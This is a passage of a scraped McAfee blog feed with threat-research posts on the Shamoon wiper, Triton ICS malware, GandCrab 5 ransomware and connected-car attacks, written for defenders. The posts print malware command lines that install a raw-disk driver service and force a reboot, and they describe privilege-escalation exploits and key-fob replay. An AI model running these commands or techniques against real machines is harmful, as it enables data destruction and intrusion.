The malware rewrites each file two times with random strings.

It starts to delete the files using the API CreateFile with the ACCESS_MASK DELETE flag.

Then it uses FILE_DISPOSITION_INFORMATION to delete the files.

The function ProcessTracker has been coded to track the destruction.


In the 2017 wave of Shamoon attacks, we saw two wipers; we see a similar feature in the December 2018 attacks. Using the “tool kit” approach, the attackers can spread the wiper module through the victims’ networks. The wiper is not obfuscated and is written in .Net code, unlike the Shamoon Version 3 code, which is encrypted to mask its hidden features.

Attributing this attack is difficult because we do not have all the pieces of the puzzle. We do see that this attack is in line with the Shamoon Version 2 techniques. Political statements have been a part of every Shamoon attack. In Version 1, the image of a burning American flag was used to overwrite the files. In Version 2, the picture of a drowned Syrian boy was used, with a hint of Yemeni Arabic, referring to the conflicts in Syria and Yemen. Now we see a verse from the Quran, which might indicate that the adversary is related to another Middle Eastern conflict and wants to make a statement.

When we look at the tools, techniques, and procedures used during the multiple waves, and by matching the domains and tools used (as FireEye described in its report), we conclude that APT33 or a group attempting to appear to be APT33 is behind these attacks.



The files we detected during this incident are covered by the following signatures:

  • Trojan-Wiper
  • RDN/Generic.dx
  • RDN/Ransom

Indicators of compromise


  • OCLC.exe: d9e52663715902e9ec51a7dd2fea5241c9714976e9541c02df66d1a42a3a7d2a
  • Spreader.exe: 35ceb84403efa728950d2cc8acb571c61d3a90decaf8b1f2979eaf13811c146b
  • SpreaderPsexec.exe: 2ABC567B505D0678954603DCB13C438B8F44092CFE3F15713148CA459D41C63F
  • Slhost.exe: 5203628a89e0a7d9f27757b347118250f5aa6d0685d156e375b6945c8c05eb8a

File paths and filenames

  • C:\net2\
  • C:\all\
  • C:\net4\
  • C:\windows\system32\
  • C:\\Windows\System32\Program Files\Internet Explorer\Signing
  • \\admin$\process.bat
  • NothingFound.txt
  • MaintenaceSrv32.exe
  • MaintenaceSrv64.exe
  • SlHost.exe
  • OCLC.exe
  • Spreader.exe
  • SpreaderPsexec.exe

Some command lines

  • cmd.exe /c “”C:\Program Files\Internet Explorer\signin\MaintenaceSrv32.bat
  • cmd.exe /c “ping -n 30 >nul && sc config MaintenaceSrv binpath= C:\windows\system32\MaintenaceSrv64.exe LocalService” && ping -n 10 >nul && sc start MaintenaceSrv
  • MaintenaceSrv32.exe LocalService
  • cmd.exe /c “”C:\Program Files\Internet Explorer\signin\MaintenaceSrv32.bat ” “
  • MaintenaceSrv32.exe service






The post Shamoon Attackers Employ New Tool Kit to Wipe Infected Systems appeared first on McAfee Blogs.

]]> 0
Shamoon Returns to Wipe Systems in Middle East, Europe Fri, 14 Dec 2018 20:32:41 +0000

Destructive malware has been employed by adversaries for years. Usually such attacks are carefully targeted and can be motivated by ideology, politics, or even financial aims. Destructive attacks have a critical impact on businesses, causing the loss of data or crippling business operations. When a company is impacted, the damage can be significant. Restoration can […]

The post Shamoon Returns to Wipe Systems in Middle East, Europe appeared first on McAfee Blogs.


Destructive malware has been employed by adversaries for years. Usually such attacks are carefully targeted and can be motivated by ideology, politics, or even financial aims.

Destructive attacks have a critical impact on businesses, causing the loss of data or crippling business operations. When a company is impacted, the damage can be significant. Restoration can take weeks or months, while resulting in unprofitability and diminished reputation.

Recent attacks have demonstrated how big the damage can be. Last year NotPetya affected several companies around the world. Last February, researchers uncovered OlympicDestroyer, which affected the Olympic Games organization.

Shamoon is destructive malware that McAfee has been monitoring since its appearance. The most recent wave struck early this month when the McAfee Foundstone Emergency Incident Response team reacted to a customer’s breach and identified the latest variant. Shamoon hit oil and gas companies in the Middle East in 2012 and resurfaced in 2016 targeting the same industry. This threat is critical for businesses; we recommend taking appropriate actions to defend your organizations.

During the past week, we have observed a new variant attacking several sectors, including oil, gas, energy, telecom, and government organizations in the Middle East and southern Europe.

Similar to the previous wave, Shamoon Version 3 uses several mechanisms as evasion techniques to bypass security as well to circumvent analysis and achieve its ends. However, its overall behavior remains the same as in previous versions, rendering detection straightforward for most antimalware engines.

As in previous variants, Shamoon Version 3 installs a malicious service that runs the wiper component. Once the wiper is running, it overwrites all files with random rubbish and triggers a reboot, resulting in a “blue screen of death” or a driver error and making the system inoperable. The variant can also enumerate the local network, but in this case does nothing with that information. This variant has some bugs, suggesting the possibility that this version is a beta or test phase.

The main differences from earlier versions are the name list used to drop the malicious file and the fabricated service name MaintenaceSrv (with “maintenance” misspelled). The wiping component has also been designed to target all files on the system with these options:

  • Overwrite file with garbage data (used in this version and the samples we analyzed)
  • Overwrite with a file (used in Shamoon Versions 1 and 2)
  • Encrypt the files and master boot record (not used in this version)

Shamoon is modular malware: The wiper component can be reused as a standalone file and weaponized in other attacks, making this threat a high risk. The post presents our findings, including a detailed analysis and indicators of compromise.


Shamoon is a dropper that carries three resources. The dropper is responsible for collecting data as well as embedding evasion techniques such as obfuscation, antidebugging, or antiforensic tricks. The dropper requires an argument to run.

It decrypts the three resources and installs them on the system in the %System% folder. It also creates the service MaintenaceSrv, which runs the wiper. The typo in the service name eases detection.

The Advanced Threat Research team has watched this service evolve over the years. The following tables highlight the differences:

The wiper uses ElRawDisk.sys to access the user’s raw disk and overwrites all data in all folders and disk sectors, causing a critical state of the infected machine before it finally reboots.

The result is either a blue screen or driver error that renders the machine unusable.



Executable summary

The dropper contains other malicious components masked as encrypted files embedded in PE section.

These resources are decrypted by the dropper and contain:

  • MNU: The communication module
  • LNG: The wiper component
  • PIC: The 64-bit version of the dropper

Shamoon 2018 needs an argument to run and infect machines. It decrypts several strings in memory that gather information on the system and determine whether to drop the 32-bit or 64-bit version.

It also drops the file (MD5: 41f8cd9ac3fb6b1771177e5770537518) in the folder c:\Windows\Temp\

The malware decrypts two files used later:

  • C:\Windows\inf\mdmnis5tQ1.pnf
  • C:\Windows\inf\averbh_noav.pnf

Shamoon enables the service RemoteRegistry, which allows a program to remotely modify the registry. It also disables remote user account control by enabling the registry key LocalAccountTokenFilterPolicy.

The malware checks whether the following shares exist to copy itself and spread:

  • ADMIN$

Shamoon queries the service to retrieve specific information related to the LocalService account.

It then retrieves the resources within the PE file to drop the components. Finding the location of the resource:

Shamoon creates the file and sets the time to August 2012 as an antiforensic trick. It puts this date on any file it can destroy.

The modification time can be used as an antiforensic trick to bypass detection based on the timeline, for example. We also observed that in some cases the date is briefly modified on the system, faking the date of each file. The files dropped on the system are stored in C:\\Windows\System32\.

Before creating the malicious service, Shamoon elevates its privilege by impersonating the token. It first uses LogonUser and ImpersonateLoggedOnUser, then ImpersonateNamedPipeClient. Metasploit uses a similar technique to elevate privileges.

Elevating privileges is critical for malware to perform additional system modifications, which are usually restricted.

Shamoon creates the new malicious service MaintenaceSrv. It creates the service with the option Autostart (StartType: 2) and runs the service with its own process (ServiceType: 0x10):

If the service is already created, it changes the configuration parameter of the service with the previous configuration.

It finally finishes creating MaintenaceSrv:

The wiper dropped on the system can have any one of the following names:



Next the wiper runs to destroy the data.


The wiper component is dropped into the System32 folder. It takes one parameter to run. The wiper driver is embedded in its resources.

We can see the encrypted resources, 101, in this screenshot:

The resource decrypted is the driver ElRawDisk.sys, which wipes the disk.

Extracting the resource:

This preceding file is not malicious but is considered risky because it is the original driver.

The wiper creates a service to run the driver with the following command:

sc create hdv_725x type= kernel start= demand binpath= WINDOWS\hdv_725x.sys 2>&1 >nul


The following screenshot shows the execution of this command:


The malware overwrites every file in c:\Windows\System32, placing the machine in a critical state. All the files on the system are overwritten.

The overwriting process:

Finally, it forces the reboot with the following command:

Shutdown -r -f -t 2


Once the system is rebooted it shows a blue screen:


The worm component is extracted from the resources from the dropper. Destructive malware usually uses spreading techniques to infect machines as quickly as possible.

The worm component can take the following names:

We noticed the capability to scan for the local network and connect to a potential control server:

Although the worm component can spread the dropper and connect to a remote server, the component was not used in this version.


Aside from the major destruction this malware can cause, the wiper component can be used independently from the dropper. The wiper does not have to rely on the main stub process. The 2018 Shamoon variant’s functionality indicates modular development. This enables the wiper to be used by malware droppers other than Shamoon.

Shamoon is showing signs of evolution; however, these advancements did not escape detection by McAfee DATs. We expect to see additional attacks in the Middle East (and beyond) by these adversaries. We will continue to monitor our telemetry and will update this analysis as we learn more.

MITRE ATT&CK™ matrix

Indicators of compromise

df177772518a8fcedbbc805ceed8daecc0f42fed                    Original dropper x86
ceb7876c01c75673699c74ff7fac64a5ca0e67a1                    Wiper
10411f07640edcaa6104f078af09e2543aa0ca07                   Worm module
bf3e0bc893859563811e9a481fde84fe7ecd0684                  RawDisk driver


McAfee detection

  • Trojan-Wiper!DE07C4AC94A5
  • RDN/Generic.dx
  • Trojan-Wiper

The post Shamoon Returns to Wipe Systems in Middle East, Europe appeared first on McAfee Blogs.

]]> 0
Triton Malware Spearheads Latest Generation of Attacks on Industrial Systems Thu, 08 Nov 2018 23:45:20 +0000

Malware that attacks industrial control systems (ICS), such as the Stuxnet campaign in 2010, is a serious threat. This class of cyber sabotage can spy on, disrupt, or destroy systems that manage large-scale industrial processes. An essential danger in this threat is that it moves from mere digital damage to risking human lives.

The post Triton Malware Spearheads Latest Generation of Attacks on Industrial Systems appeared first on McAfee Blogs.


Malware that attacks industrial control systems (ICS), such as the Stuxnet campaign in 2010, is a serious threat. This class of cyber sabotage can spy on, disrupt, or destroy systems that manage large-scale industrial processes. An essential danger in this threat is that it moves from mere digital damage to risking human lives. In this post we will review the history of ICS malware, briefly examine how one ICS framework operates, and offer our advice on how to fight such threats.

ICS malware is usually sophisticated, requiring time to research its targets and sufficient resources. Attackers can be motivated by financial gain, hacktivism, or espionage, as well as for political ends, as we saw with Stuxnet. Since Stuxnet, researchers have discovered several industrial attacks; each year we seem to read about a worse threat than before.

In August 2017, a sophisticated malware targeted petrochemical facilities in the Middle East. The malware—dubbed Triton, Trisis, or HatMan—attacked safety instrumented systems (SIS), a critical component that has been designed to protect human life. The system targeted in that case was the Schneider Triconex SIS. The initial vector of infection is still unknown, but it was likely a phishing attack.

After gaining remote access, the Triton attackers moved to disrupt, take down, or destroy the industrial process. The goal of the attackers is still unclear because the attack was discovered after an accidental shutdown of the plant led to further investigation. Investigations conducted by several security companies have revealed a complex malware framework embedding PowerPC shellcode (the Triconex architecture) and an implementation of the proprietary communication protocol TriStation. The malware allowed the attackers to easily communicate with safety controllers and remotely manipulate system memory to inject shellcodes; they completely controlled the target. However, because the attack did not succeed it is possible that a payload, the final stage of the attack, was missing. All investigations pointed in this direction. If the final payload had been delivered, the consequences could have been disastrous.

History of ICS malware

In 2010, Stuxnet was one of the most sophisticated ICS threats discovered. This cyber weapon was created to target Iranian centrifuges. It was able to reprogram a particular programmable logic controller to change the speed of centrifuge rotations. The goal of Stuxnet was not to destroy but to take the control of the industrial process.

In 2013, the malware Havex targeted energy grids, electricity firms, and many others. The attackers collected a large amount of data and remotely monitored industrial systems. Havex was created for espionage and sabotage.

BlackEnergy was discovered in 2015. It targeted critical infrastructure and destroyed files stored on workstations and servers. In Ukraine, 230,000 people were left in the dark for six hours after hackers compromised several power distribution centers.

In 2015, IronGate was discovered on public sources. It targeted Siemens control systems and had functionalities similar to Stuxnet’s. It is unclear if this was a proof of concept or a simple penetration-testing tool.

Industroyer hit Ukraine again in 2016. The malware embedded a data wiper component as well as a distributed denial of services module. It was crafted for destruction. The attack caused a second shutdown of Ukraine’s power grid.

In 2017, Triton was discovered. The attack did not succeed; the consequences could have been disastrous.

ICS malware are critical because they infect industrial devices and automation. However, regular malware can also impact industrial process. Last year WannaCry forced several companies, from medical to automobile industries, to stop production. Some months later NotPetya hit nuclear power plants, power grids, and health care systems. In 2018, a cryptocurrency miner struck a water utility in Europe.

Facing widespread risks, critical infrastructures need a specific approach to stay safe.

Triton framework

Triton targeted the Triconex safety controller, distributed by Schneider Electric. Triconex safety controllers are used in 18,000 plants (nuclear, oil and gas refineries, chemical plants, etc.), according to the company. Attacks on SIS require a high level of process comprehension (by analyzing acquired documents, diagrams, device configurations, and network traffic). SIS are the last protection against a physical incident.

The attackers gained access to the network probably via spear phishing, according to an investigation. After the initial infection, the attackers moved onto the main network to reach the ICS network and target SIS controllers.

To communicate with SIS controllers, attackers recoded the proprietary TriStation communication protocol on port UDP/1502. This step suggests they invested the time to reverse engineer the Triconex product.

Nozomi Networks has created a Wireshark dissector that is very handy for analyzing the TriStation protocol and detecting a Triton attack. The following screenshot shows an example of the information returned by the Triconex SIS. Triton requires the “running state” of the controller to perform the next stages of the attack.

In the preceding screen Triconex replies to the request “Get Control Program Status,” which is sent by Triton.

The Triton framework (dc81f383624955e0c0441734f9f1dabfe03f373c) posed as the legitimate executable trilog.exe, which collects logs. The executable is a python script compiled in an exe. The framework also contains (1dd89871c4f8eca7a42642bf4c5ec2aa7688fd5c), which contains all the python scripts required by Triton. Finally, two PowerPC shellcodes (the target architecture) are used to compromise the controllers. The first PowerPC shellcode is an injector (inject.bin, f403292f6cb315c84f84f6c51490e2e8cd03c686) used to inject the second stage (imain.bin, b47ad4840089247b058121e95732beb82e6311d0), the backdoor that allows read, write, and execute access on the Triconex product.

The following schema shows the main modules of Triton:

The missing payload has not been recovered during the forensic investigation. Because the attack was discovered early, it is possible that the attackers did not have time to launch the final stage.

How to detect an unusual network connection

Nozomi Networks has created a script that simulates a Triconex safety controller. We modified this script with a Raspberry Pi to create a cheap detector tool.


This inexpensive tool can be easily installed on an ICS network. If an illegitimate connection occurs, the device alerts with a blinking LED and siren. It also displays the IP address of the connection for further investigation.

The following picture shows how to connect the LED and buzzer.

Fighting ICS malware

ICS malware has become more aggressive and sophisticated. Many industrial devices were built before anyone imagined cyberattacks such as Triton. ICS’s are now exposed to connected environments they were not designed for.

Standard McAfee security recommendations (vulnerability patching, complex passwords, identification control, security tools, etc.) remain the same as for regular networks, yet industrial systems also require specific procedures due to their importance. Industrial networks must be segregated from general business networks, and every machine connected to the industrial process should be carefully monitored by using strict access control and application whitelisting.

Further security recommendations:

  • Segregate physical and logical access to ICS networks with strong authentication, including strong passwords and double factor, card readers, surveillance cameras, etc.
  • Use DMZ and firewall to prevent network traffic from passing between the corporate and the ICS network
  • Deploy strong security measures on the ICS network perimeter, including patch management, disabling unused ports, and restricting ICS user privileges
  • Log and monitor every action on the ICS network to quickly identify a point of failure
  • When possible implement redundancy on critical devices to avoid major issues
  • Develop strong security policies and an incident response plan to restore systems during an incident
  • Train people with simulated incident responses and security awareness

Attackers learn what works from past attacks and from each other. Rapid developments in ICS threats make it crucial to stay protected. Manufacturers, plant operators, governments, and the cybersecurity industry must work together to avoid critical cyberattacks.


Indicators of compromise

  • dc81f383624955e0c0441734f9f1dabfe03f373c: trilog.exe
  • b47ad4840089247b058121e95732beb82e6311d0: imain.bin
  • f403292f6cb315c84f84f6c51490e2e8cd03c686: inject.bin
  • 91bad86388c68f34d9a2db644f7a1e6ffd58a449:
  • 1dd89871c4f8eca7a42642bf4c5ec2aa7688fd5c:
  • 97e785e92b416638c3a584ffbfce9f8f0434a5fd: TS_cnames.pyc
  • d6e997a4b6a54d1aeedb646731f3b0893aee4b82: TsBase.pyc
  • 66d39af5d61507cf7ea29e4b213f8d7dc9598bed: TsHi.pyc
  • a6357a8792e68b05690a9736bc3051cba4b43227: TsLow.pyc
  • 2262362200aa28b0eead1348cb6fda3b6c83ae01: crc.pyc
  • 9059bba0d640e7eeeb34099711ff960e8fbae655: repr.pyc
  • 6c09fec42e77054ee558ec352a7cd7bd5c5ba1b0: select.pyc
  • 25dd6785b941ffe6085dd5b4dbded37e1077e222: sh.pyc



The post Triton Malware Spearheads Latest Generation of Attacks on Industrial Systems appeared first on McAfee Blogs.

]]> 0
Rapidly Evolving Ransomware GandCrab Version 5 Partners With Crypter Service for Obfuscation Wed, 10 Oct 2018 23:29:14 +0000 The GandCrab ransomware, which first appeared in January, has been updated rapidly during its short life, with Version 5.0.2 appearing this month. In this post we will examine the latest version and how the authors have improved the code (and in some cases have made mistakes). McAfee gateway and endpoint products are able to protect […]

The post Rapidly Evolving Ransomware GandCrab Version 5 Partners With Crypter Service for Obfuscation appeared first on McAfee Blogs.

The GandCrab ransomware, which first appeared in January, has been updated rapidly during its short life, with Version 5.0.2 appearing this month. In this post we will examine the latest version and how the authors have improved the code (and in some cases have made mistakes). McAfee gateway and endpoint products are able to protect customers from known variants of this threat.

The GandCrab authors have moved quickly to improve the code and have added comments to provoke the security community, law enforcement agencies, and the NoMoreRansom organization. Despite the agile approach of the developers, the coding is not professional and bugs usually remain in the malware (even in Version 5.0.2), but the speed of change is impressive and increases the difficulty of combating it.

The group behind GandCrab has achieved cult status in underground forums; the authors are undoubtedly confident and have strong marketing skills, but flawless programming is not one of their strengths.

Underground alliances

On September 27, the GandCrab crew announced Version 5 with the same showmanship as its earlier versions. GandCrab ransomware has gained a lot of attention from security researchers as well as the underground. The developers market the affiliate program like a “members-only club” and new affiliates are lining up to join, in the hope of making easy money through the large-scale ransomware extortion scheme.

The prospect of making money not only attracts new affiliates, but also leads to the formation of new alliances between GandCrab and other criminal services that strengthen the malware’s supply and distribution networks. One of these alliances became obvious during Version 4, in which the ransomware started being distributed through the new Fallout exploit kit. This alliance was again emphasized in the GandCrab Version 5 announcement, as the GandCrab crew openly endorsed FalloutEK.

The GandCrab Version 5 announcement.

With Version 5, yet another alliance with a criminal service has been formed. The malware crypter service NTCrypt announced that it is partnering with the GandCrab crew. A crypter service provides malware obfuscation to evade antimalware security products.

The NTCrypt-GandCrab partnership announcement offering a special price for GandCrab users.

The partnership between GandCrab and NTCrypt was established in a novel way. At the end of September, the GandCrab crew started a “crypt competition” on a popular underground forum to find a new crypter service they could partner with. NTCrypt applied and eventually won the competition.

The “crypt competition” announcement.

This novel approach emphasizes once more the cult status GandCrab has in the underground community. For a criminal business such as GandCrab, building these alliances makes perfect sense: They increase the ease of operation and a trusted affiliate network minimizes their risk exposure by allowing them to avoid less-trusted suppliers and distributors.

For the security community it is worrisome to see that GandCrab’s aggressive marketing strategy seems to be paying off. It is generating a strong influx of criminal interest and allows the GandCrab crew to form alliances with other essential services in the cybercriminal supply chain.

GandCrab overview

GandCrab Version 5 uses several mechanisms to infect systems. The following diagram shows an overview of GandCrab’s behavior.

GandCrab Version 5 Infection

Entry vector

GandCrab uses several entry vectors:

  • Remote desktop connections with weak security or bought in underground forums
  • Phishing emails with links or attachments
  • Trojanized legitimate programs containing the malware, or downloading and launching it
  • Exploits kits such as RigEK and others such as FalloutEK
  • PowerShell scripts or within the memory of the PowerShell process (the later mainly in Version 5.0.2)
  • Botnets such as Phorpiex (an old botnet that spread not only this malware but many others)

The goal of GandCrab, as with other ransomware, is to encrypt all or many files on an infected system and insist on payment to unlock them. The developer requires payment in cryptocurrency, primarily Dash (or Bitcoin in some older versions), because it is complex to track and quick to receive the payment.

The malware is usually, but not always, packed. We have seen variants in .exe format (the primary form) along with DLLs. GandCrab is effectively ransomware as a service; its operators can choose which version they want.

Version 5.0

This version has two releases. The first works only on Windows 7 or later due to a big mistake in the compiling time. Version 5.0 carries two exploits that try to elevate privileges. It checks the version of the operating system and the TokenIntegrityLevel class of the process. If the SID Subauthority is SECURITY_MANDATORY_LOW_RID (0x1000), it tries to execute the exploits if it also passed one previous check of a mutex value.

One release is the exploit released in August on Twitter and GitHub by the hacker “SandboxEscaper.” The original can be found at this link. The Twitter handle for this hacker is

This exploit tries to use a problem with the Task System in Windows when the operating system improperly handles calls to an advanced local procedure call.

The GandCrab authors claim there is no CVE of this exploit, but that is incorrect. It falls under CVE-2018-8440. This exploit can affect versions Windows 7 through Windows 10 Server. More information about this exploit can be found at this link.

In the first release of Version 5.0, the malware authors wrote the code exploit using normal calls to the functions. Thus at compiling time the binary has the IAT filled with the DLL needed for some calls. This DLL does not exist in Windows Vista and XP, so the malware fails to run in these systems, showing an error.

Import of xpsprint.dll that will not run on Windows XP or Vista.

The exploit using direct calls.

This release published an HTML file after encrypting the user’s files, but this file was faulty because it did not always have the information needed to decrypt the user’s files.

The second release uses dynamic calls and obfuscates the strings of the exploit, as shown in the previous image. (Earlier they were in plain text.)

The exploit with dynamic calls and obfuscated strings.

The second exploit is covered under CVE-2018-8120, which in Windows 7, Windows Server 2008 R2 and Windows Server 2008 allows an elevation of privileges from the kernel. Thanks to a faulty object in the token of the System process, changing this token in the malware results in executing the malware with System privileges.

Executing the exploit CVE-2018-8120.

You can read more about this exploit on

The malware checks the version of the operating system and type of user and whether it can get the token elevation information of its own process before employing the use of exploits. In some cases, it fails to infect. For example, in Windows XP the second release of Version 5 runs but does not encrypt the files. (We thank fellow researcher Yassine Lemmou, who shared this information with us.)

We and Lemmou know where the problem is in Version 5.0.2. A few changes to the registry could make the malware run correctly, but we do not want to help the malware authors fix their product. Even though GandCrab’s authors quickly repair mistakes as they are pointed out, they still fail to find some of the basic errors by themselves. (McAfee has had no contact with GandCrab’s developers.)

The second release writes a random extension of five letters instead of using the normal .CRAB or .KRAB extension seen in previous versions. The malware keeps this information as binary data in a new registry entry in the subkey “ext_data\data” and in the value entry of “ext.”

A new registry entry to hold the random extension.

The malware tries creating this new entry in the root key of HKEY_LOCAL_MACHINE. If it cannot—for example, because the user does not have admin rights—it places the entry in the root key HKEY_CURRENT_USER. This entry is deleted in some samples after the files have been encrypted.

Version 5.0.1

This version fixed some internal bugs in the malware but made no other notable changes.

Version 5.0.2

This version changes the random extension length from 5 to 10 characters and fixes some internal bugs. Other bugs remain, however, meaning files cannot always be encrypted.

The latest

This section is based on the latest version of the malware (Version 5.0.2 on October 4), though some elements appear in earlier releases of Version 5. Starting with this version, the malware uses two exploits to try to elevate privileges in the system.

The first exploit uses a dynamic call to the function IsWoW64Process to detect whether the operating system is running in 32 or 64 bits.

The dynamic call to IsWoW64Process with obfuscated strings.

Depending on the result, the malware has two embedded DLLs, encrypted with a simple operation XOR 0x18.

Decrypting the DLL to load with the exploit and fix the header.

The malware authors use a clever trick with fuzzing to avoid detection: The first two bytes of the DLL are trash, something that is later fixed, as we see in the preceding image.

After decryption and loading the exploit, this DLL creates a mutex in the system and some pipes to communicate with the main malware. The malware creates a pipe that the DLL reads later and prepares strings as the mutex string for the DLL.

Preparing the string for the DLL.

The DLL has dummy strings for these strings.

Creating the new mutex and relaunching the process.

This mutex is checked when the malware starts. The function returns a 1 or 0, depending on whether it can open the mutex. Later, this result is checked and if the mutex can be opened the malware will avoid checking the version and will not use the two new exploits to elevate privileges.

Opening the new mutex to check if there is a need to run the exploits.

As with GandCrab Version 4.x and later, the malware later checks the version. If it is Vista or later, it tries to get the “TokenIntegrityLevel” class and relaunch the binary to elevate its privilege with a call to “ShellExecuteExW” with the “runas” application. If the system is Windows XP, the code will avoid that and continue in its normal flow.

This mutex is never created for the main malware; it is created for the DLL loaded using the exploit. To better understand this explanation, this IDA snippet may help:

Explaining the check of mutex and exploits.

This version changes the desktop wallpaper, which is created at runtime and is filled with the extension generated to encrypt the files. (The ransom note text or HTML has the name: <extension_in_uppercase>_DECRYPT. <txt|html>) and the user name of the machine.)

Creating the new wallpaper at runtime.

The username is checked with “SYSTEM.” If the user is “SYSTEM,” the malware puts the name “USER” in the wallpaper.

Checking the name of the user for the wallpaper.

The wallpaper is created in the %TEMP% folder with the name pidor.bmp.

Creating the wallpaper in the temp folder.

Here is an example of strings used in the wallpaper name and to check the name of the user and the format string, whether it is another user, or the final string in the case of SYSTEM user with USER in uppercase.

The name of the wallpaper and special strings.

Finally, the wallpaper is set for any user other than SYSTEM:

Changing the wallpaper.

The malware detects the language of the system and decrypts the strings and writes the correct ransom note in the language of the system.


Customers of McAfee gateway and endpoint products are protected against the latest GandCrab versions. Detection names include Ran-Gandcrabv4! and many others.

An independent researcher, Twitter user Valthek, has also created several vaccines. (McAfee has verified that these vaccines are effective.) The version for GandCrab 4.x through 5.0.2 can prevent the files from being encrypted.

For Version 4.x, the deletion of shadow volumes cannot be avoided but at least the files themselves are kept safe.

For Version 5.x, encrypting the files can be avoided but not the creation and changing of the wallpaper, which the malware will still corrupt. The malware cannot create random extensions to encrypt the files but will prepare the string. Running the vaccine a second time removes the wallpaper if it is in the %TEMP% folder.

The vaccine has versions with and without persistence. The version with persistence creates a random filename in a special folder and writes a special random entry in the registry to run each time with the system. In this case, the machine will always be protected against this malware (at least in its current state of October 10, and perhaps in the future).


Indicators of compromise

These samples use the following MITRE ATT&CK™ techniques:

  • File deletion
  • System information discovery
  • Execution through API
  • Execution through WMIC
  • Application process discovery: to detect antimalware and security products as well as normal programs
  • Query registry: to get information about keys that the malware needs to create or read
  • Modify registry
  • File and directory discovery: to search for files to encrypt
  • Discovery of network shares to encrypt them
  • Encrypt files
  • Process discovery: enumerating all processes on the endpoint to kill some special ones
  • Create files
  • Elevation of privileges
  • Change wallpaper
  • Flood the network with connections
  • Create mutants


  • e168e9e0f4f631bafc47ddf23c9848d7: Version 5.0
  • 6884e3541834cc5310a3733f44b38910: Version 5.0 DLL
  • 2d351d67eab01124b7189c02cff7595f: Version 5.0.2
  • 41c673415dabbfa63905ff273bdc34e9: Version 5.0.2
  • 1e8226f7b587d6cd7017f789a96c4a65: DLL for 32-bit exploit
  • fb25dfd638b1b3ca042a9902902a5ff9: DLL for 64-bit exploit
  • df1a09dd1cc2f303a8b3d5097e53400b: botnet related to the malware (IP


The post Rapidly Evolving Ransomware GandCrab Version 5 Partners With Crypter Service for Obfuscation appeared first on McAfee Blogs.

]]> 0
Today’s Connected Cars Vulnerable to Hacking, Malware Tue, 27 Mar 2018 19:30:30 +0000 The McAfee Advanced Threat Research team recently published an article about threats to automobiles on the French site Connected cars are growing rapidly in number and represent the next big step in personal transportation.

The post Today’s Connected Cars Vulnerable to Hacking, Malware appeared first on McAfee Blogs.

The McAfee Advanced Threat Research team recently published an article about threats to automobiles on the French site Connected cars are growing rapidly in number and represent the next big step in personal transportation. Auto sales are expected to triple between 2017 and 2022, to US$155.9 billion from $52.5 billion, according to PwC France. Realizing this increase is a huge challenge for car companies as well as for IT security firms.

Through multiple added functions, from Wi-Fi and external connections to driving assistance and autonomous operations, connected cars will very soon need strong security to avoid any intrusions that could endanger drivers, passengers, and others.

Security Risks

Modern cars are exposed to security risks just as are other connected devices. Let’s look at current and future threats in the automotive security field.

The following diagram shows the main risks: 


Personal Data and Tracking

Connected cars record a lot of information about their drivers. This information can come from an external device connected to the car, such as a phone, and can include contact details, SMS and calls history, and even musical tastes. A car can also record shifting patterns and other driver’s habits that could be used to create a picture of a driver’s competence. This kind of oversight could aid insurance companies when offering coverage, for example.

With personal data now considered the new gold, all of this information represents a valuable target for cybercriminals as well as companies and governments.

  • Cybercriminals can use this stolen information for financial compensation and identity theft
  • Companies can use this information for marketing or insurance contracts
  • Governments can use this information for spying on and tracking people

Faked Car Data

Digital information can be modified and faked. By altering data such as pollution tests or performance, companies can take advantage of the results to increase sales. Similarly, drivers could modify car statistics such as distance traveled to fool insurance companies or future buyers.

Car Theft and Key Fob Hacking

Key fob hacking is a technique to allow an intruder to enter a car without breaking in. This technique is widely known by attackers and can be done easily with cheap hardware. The attack consists of intercepting the signal from a wireless key to either block the signal to lock the car or replay the signal to gain access.

One variant of the attack uses a jammer to block the signal. The jammer interferes with the electromagnetic waves used to communicate with the vehicle, blocking the signal and preventing the car from locking, leaving access free to the attacker. Some jammers have a range of more than 500 meters.

Key fob jammer.

Another attack intercepts the signal sent by the key and replays it to open the door. Auto manufacturers protect against this kind of attack by implementing security algorithms that avoid simple replays with same signal. Each signal sent from the key to the car is unique, thus avoiding a replay. However, one proof of concept for this attack blocks the signal to the car and stores it. The driver’s first click on the key does not work but is recorded by the attacker. The driver’s second click is also recorded, locking the car but giving two signals to the attackers. The first signal recorded, which the car has not received, is used to unlock the door. The second signal is stored for the attacker to use later.

Entering by the (CAN) Back Door

Autos use several components to interact with their parts. Since the end of the 20th century, cars have used the dedicated controller area network (CAN) standard to allow microcontrollers and devices to talk to each other. The CAN bus communicates with a vehicle’s electronic control unit (ECU), which operates many subsystems such as antilock brakes, airbags, transmission, audio system, doors, and many other parts—including the engine. Modern cars also have an On-Board Diagnostic Version 2 (OBD-II) port. Mechanics use this port to diagnose problems. CAN traffic can be intercepted from the OBD port.

The on-board diagnostic port.

An external OBD device could be plugged into a car as a backdoor for external commands, controlling services such as the Wi-Fi connection, performance statistics, and unlocking doors. The OBD port offers a path for malicious activities if not secured.

Spam and Advertising

Adding more services to connected cars can also add more security risks. With the arrival of fully connected autos such as Teslas, which allow Internet access from a browser, it is feasible to deliver a new type of spam based on travel and geolocation. Imagine a pop-up discount as you approach a fast-food restaurant. Not only is this type of action likely to be unwanted, it could also provide a distraction to drivers. We already know spam and advertising are infection vectors for malware.

Malware and Exploits

All the ECUs in an auto contain firmware that can be hacked. Cars employ in-vehicle infotainment (IVI) systems to control audio or video among other functions. These systems are increasing in complexity.

An in-vehicle infotainment system.

MirrorLink, Bluetooth, and internal Wi-Fi are other technologies that improve the driving experience. By connecting our smartphones to our cars, we add functions such as phone calls, SMS, and music and audiobooks, for example.

Malware can target these devices. Phones, browsers, or the telecommunication networks embedded in our cars are infection vectors that can allow the installation of malware. In 2016, McAfee security researchers demonstrated a ransomware proof of concept that blocked the use of the car until the ransom was paid.

A proof-of-concept IVI ransomware attack on a vehicle.

The ransomware was installed via an over-the-air system that allowed the connection of external equipment.

Third-Party Apps  

Many modern cars allow third parties to create applications to further connected services. For example, it is possible to unlock or lock the door from your smartphone using an app. Although these apps can be very convenient, they effectively open these services to anyone and can become a new attack vector. It is easier to hack a smartphone app than a car’s ECU because the former is more affordable and offers many more resources. Car apps are also vulnerable because some third parties employ weak security practices and credentials are sometimes stored in clear text. These apps may also store personal information such as GPS data, car model, and other information. This scenario has already been demonstrated by the OnStar app that allowed a hacker to remotely open a car.

Vehicle-to-Vehicle Communications

